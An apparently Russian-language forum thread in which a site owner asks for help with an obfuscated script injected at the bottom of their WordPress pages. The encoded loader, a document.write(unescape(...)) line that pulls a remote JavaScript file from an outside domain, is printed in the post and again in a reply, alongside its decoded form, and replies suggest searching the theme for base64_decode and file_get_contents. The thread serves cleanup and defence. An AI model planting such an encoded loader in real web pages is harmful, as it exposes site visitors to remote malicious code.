[X] Помощник

[ERSEO Topic Starter]

Добрый день, суть проблемы:
Недавно почистил свой сайт от вирусов, и везде проверил - вроде нету, а сегодня заметил ссылку на сайте
http://reviewhoax.com/wp-includes/pomo/.backup/.script.js

В коде страницы я нашел только это:
находится в самом низу страницы (если смотреть в коде) на сайте 2013ege.ru
<div></div>
</body>
</html><script>
document.write(unescape('<script%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%65%76%69%65%77%68%6F%61%78%2E%63%6F%6D%2F%77%70%2D%69%6E%63%6C%75%64%65%73%2F%70%6F%6D%6F%2F%2E%62%61%63%6B%75%70%2F%2E%73%63%72%69%70%74%2E%6A%73%20%74%79%70%65%3D%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E'));
</script>

Расшифровал и получил:
document.write(unescape('<script src=http://reviewhoax.com/wp-includes/pomo/.backup/.script.js type=text/javascript></script>'));

Вообщем я не знаю, где может находится этот код и как он может образовываться. И еще, нашел в коде файл
http://2013ege.ru/wp-content/themes/SinCrew/script.js

Помогите найти где может находится этот код, скрипт или хотя бы чем проверить.
Спасибо.

[sdrc26]

У вашего хостера есть антивирус на сервере?
Ищите в шаблоне WP в файле футер

напишите свой ICQ постараюсь помочь

Сообщение отредактировал sdrc26 - 26.9.2013, 20:45

[Electric]

Ищите base64_decode в шаблоне и дешифруйте.

Возможно подгружают извне, смотрите в шаблоне file_get_contents
Если сами не найдете - обращайтесь, будем лечить.

[BRONX]

Само собой, с паблика взяли шаблон, если не понимаете в php / html смысла нет такую шару ставить, 80% что там будут как минимум ссылки на другие ресурсы, фреймы незаметные ведущие на какой нибудь левый сайт, все это пройденный этап.
Electric чуть выше правильно ответил

к стати удалите код, он с другого ресурса, вообще код ссылки с других ресурсов надо резать, допустимо только с проверенных ресурсов.

<script>
document.write(unescape('<script%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%65%76%69%65%77%68%6F%61%78%2E%63%6F%6D%2F%77%70%2D%69%6E%63%6C%75%64%65%73%2F%70%6F%6D%6F%2F%2E%62%61%63%6B%75%70%2F%2E%73%63%72%69%70%74%2E%6A%73%20%74%79%70%65%3D%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E'));
</script>

Замечание модератора: Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней. Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой или обратитесь к любому из модераторов.